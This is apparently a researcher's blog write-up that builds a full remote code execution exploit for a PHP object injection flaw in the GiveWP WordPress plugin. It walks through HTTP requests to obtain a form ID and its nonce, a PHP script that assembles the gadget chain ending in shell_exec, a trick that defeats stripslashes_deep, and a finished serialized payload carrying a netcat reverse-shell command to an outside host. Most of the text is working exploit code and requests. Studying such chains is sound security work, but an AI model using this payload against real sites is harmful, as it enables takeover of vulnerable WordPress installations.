A few days ago, Wordfence published a blog post about a PHP Object Injection vulnerability affecting the popular WordPress Plugin GiveWP in all versions <= 3.14.1. Since the blog post contains only information about (a part) of the POP chain used, I decided to take a look and build a fully functional Remote Code Execution exploit. This post describes how I approached the process, identifying the missing parts and building the entire POP chain. Props to @villu164, who initially discovered the vulnerability and the chain.
While the Wordfence blog post provides some insights into the root cause of the vulnerability and a brief description of the POP chain, it misses out (deliberately, I assume) on some key points. I’m skipping the entire process of installing and setting up WordPress and setting up the debug environment using VScode here and getting straight to the details. The only prerequisite for successfully exploiting the bug (despite the old version of the plugin) is that GiveWP must be enabled and configured with at least one donation form.
The Entry Point
The vulnerable code path can be triggered using the give_process_donation
ajax action. One thing that immediately stood out when analyzing the corresponding give_process_donation_form
method is that there is some sort of nonce verification on line 38 in includes/process-donation.php
:
function give_process_donation_form() { // Sanitize Posted Data. $post_data = give_clean( $_POST ); // WPCS: input var ok, CSRF ok. // Check whether the form submitted via AJAX or not. $is_ajax = isset( $post_data['give_ajax'] ); // Verify donation form nonce. if ( ! give_verify_donation_form_nonce( $post_data['give-form-hash'], $post_data['give-form-id'] ) ) { if ( $is_ajax ) { /** * Fires when AJAX sends back errors from the donation form. * * @since 1.0 */ do_action( 'give_ajax_donation_errors' ); give_die(); } else { give_send_back_to_checkout(); } }
Apparently, we need the form ID of a donation form and its nonce. Unless a misconfiguration causes the NONCE_KEY
and NONCE_SALT
equal to some known public values, the nonce cannot be calculated on the client side—read this article about why.
Getting the Donation Form ID
Luckily for us, GiveWP provides us with the ajax action give_form_search
which can be called without any other arguments to get the IDs of all available donation forms:
POST /wp-admin/admin-ajax.php HTTP/1.1 Host: 192.168.178.100:9000 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 23 Connection: keep-alive sec-ch-ua-platform: "Windows" sec-ch-ua: "Google Chrome";v="101", "Chromium";v="101", "Not=A?Brand";v="24" sec-ch-ua-mobile: ?0 action=give_form_search
This returns the IDs as an array:
Getting the Target Form’s Nonce
As mentioned earlier, WordPress nonces cannot be easily calculated on the client side. But we’re lucky again. GiveWP provides us with another ajax action called give_donation_form_nonce
to get us the nonce of a given donation form. So you can give the previously discovered form ID using the give_form_id
parameter:
POST /wp-admin/admin-ajax.php HTTP/1.1 Host: 192.168.178.100:9000 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 47 Connection: keep-alive sec-ch-ua-platform: "Windows" sec-ch-ua: "Google Chrome";v="101", "Chromium";v="101", "Not=A?Brand";v="24" sec-ch-ua-mobile: ?0 action=give_donation_form_nonce&give_form_id=11
and you’ll get the nonce back:
Triggering the Vulnerable Code Path
The vulnerable code path can be triggered using the give_process_donation
ajax action while giving the form ID and its nonce. An exemplary request looks like the following:
POST /wp-admin/admin-ajax.php HTTP/1.1 Host: 192.168.178.100:9000 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.0.0 Safari/537.36 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 653 Connection: keep-alive sec-ch-ua-platform: "Windows" sec-ch-ua: "Google Chrome";v="101", "Chromium";v="101", "Not=A?Brand";v="24" sec-ch-ua-mobile: ?0 action=give_process_donation&give-form-hash=cc27fec673&give-form-id=11&[email protected]&give_first=a&give-amount=10&give-gateway=manual&give_stripe_payment_method=&give_last=b&give_title=to_be_unserialized
When triggering this request, you’ll notice that the value of the give_title
parameter gets stored in the wp_give_donormeta
table:
That _give_donor_title_prefix
key is later unserialized, as described in Wordfence’s blog post using the Give()->donor_meta->get_meta()
method.
Bypassing stripslashes_deep
One thing that does not immediately stand out but will get important later is the usage of stripslashes_deep
during the validation of the $user_info
array, which contains the vulnerable user_title
attribute:
// Setup donation information. $donation_data = [ 'price' => $price, 'purchase_key' => $purchase_key, 'user_email' => $user['user_email'], 'date' => date( 'Y-m-d H:i:s', current_time( 'timestamp' ) ), 'user_info' => stripslashes_deep( $user_info ), 'post_data' => $post_data, 'gateway' => $valid_data['gateway'], 'card_info' => $valid_data['cc_info'], ];
Why is that important? PHP object injection exploits usually reference class names using their namespaces, which might contain slashes. stripslashes_deep
tries to get rid of these by calling stripslashes
on every value. However, this can be easily bypassed by using four slashes (\\\\
) in namespace names.
Rebuilding the Beautiful POP Chain:
The Wordfence post provides a broad but good description of the chain to construct a PoC out of it. Let’s split that chain up into multiple parts:
(source)
Recreating the Chain in Plain PHP
The following PHP script constructs an object for steps one to four. You’ll learn in a bit that part 5 is missing:
<?php namespace Stripe { class StripeObject { public $_values = []; } } namespace Give\PaymentGateways\DataTransferObjects { class GiveInsertPaymentData { public $userInfo = []; } } namespace Give\Vendors\Faker { class ValidGenerator { public $validator = "shell_exec"; public $maxRetries = 2; public $generator = ""; } } namespace { class Give { public $container = "1337"; } use Stripe\StripeObject; use Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData; use Give\Vendors\Faker\ValidGenerator; # Part 1 $stripeObject = new StripeObject(); # Part 2 $giveInsertPaymentData = new GiveInsertPaymentData(); $stripeObject->_values['rcesec'] = $giveInsertPaymentData; # Part 3 $giveObject = new Give(); $giveInsertPaymentData->userInfo = ["address" => $giveObject]; # Part 4 $validGenerator = new ValidGenerator(); $giveObject->container = $validGenerator; # Serialize and bypass stripslashes_deep() $serializedData = serialize($stripeObject); echo str_replace("\\", "\\\\\\\\", $serializedData); }
Testing the First (Incomplete) Version
The above script will get you a serialized object like the following:
O:19:"Stripe\\\\StripeObject":1:{s:7:"_values";a:1:{s:6:"rcesec";O:62:"Give\\\\PaymentGateways\\\\DataTransferObjects\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:9:"container";O:33:"Give\\\\Vendors\\\\Faker\\\\ValidGenerator":3:{s:9:"validator";s:10:"shell_exec";s:10:"maxRetries";i:2;s:9:"generator";s:0:"";}}}}}}
When using this with the request from step 3 and setting a breakpoint on the call_user_func_array
call in vendor/vendor-prefixed/fakerphp/faker/src/Faker/Validgenerator.php
you’ll notice that there is a small piece missing:
Before we’re able to reach the final code execution via call_user_func
on line 80 (our $this->validator
property is correctly set to shell_exec
), we need to somehow make the call_user_func_array
call on line 74 return whatever we want as an argument to the shell_exec
call. While we do control the $this->generator
property, we do NOT control the $name
variable, which is set to get
.
To solve this little puzzle, we need to find a class that implements the get
method and that, at the same time, returns a user-controllable string via the $name
property. That $name
property can then be set to whatever argument we want for the shell_exec
call.
Finding a Gadget to Complete the Chain
While searching for a fitting gadget, I immediately stumbled over the Give\Onboarding\SettingsRepository
class:
class SettingsRepository { /** @var array */ protected $settings; /** @var callable */ protected $persistCallback; /** * @since 2.8.0 * * @param callable $persistCallback * * @param array $settings */ public function __construct(array $settings, callable $persistCallback) { $this->settings = $settings; $this->persistCallback = $persistCallback; } /** * @since 2.8.0 * * @param string $name The setting name. * * @return mixed The setting value. * */ public function get($name) { return ($this->has($name)) ? $this->settings[$name] : null; } [...]
It provides a get method that is supposed to return an element specified by $name
from the $this->settings
property, and that property is fully user-controllable!
Connecting the Dots
The last thing we have to do is set the $this->generator
property to an instance of the SettingsRepository
class and make sure that the address1
element of the $settings
array is set to our argument for the shell_exec
call:
[...] namespace Give\Onboarding { class SettingsRepository { public $settings = ["address1" => "nc xx.lu 1337 -c bash"]; } } [...] $validGenerator->generator = new SettingsRepository(); [...]
This will get you a serialized object like the following:
O:19:"Stripe\\\\StripeObject":1:{s:7:"_values";a:1:{s:6:"rcesec";O:62:"Give\\\\PaymentGateways\\\\DataTransferObjects\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:9:"container";O:33:"Give\\\\Vendors\\\\Faker\\\\ValidGenerator":3:{s:9:"validator";s:10:"shell_exec";s:10:"maxRetries";i:2;s:9:"generator";O:34:"Give\\\\Onboarding\\\\SettingsRepository":1:{s:8:"settings";a:1:{s:8:"address1";s:21:"nc xx.lu 1337 -c bash";}}}}}}}}
This now results in the generator
property being set to an instance of Give\Onboarding\SettingsRepository
:
When the call_user_func_array
call is processed, it’ll look up the address1
element as described earlier and return that to the $res
variable, which is used as an argument for the final call_user_func
call:
This finally triggers your funky reverse shell: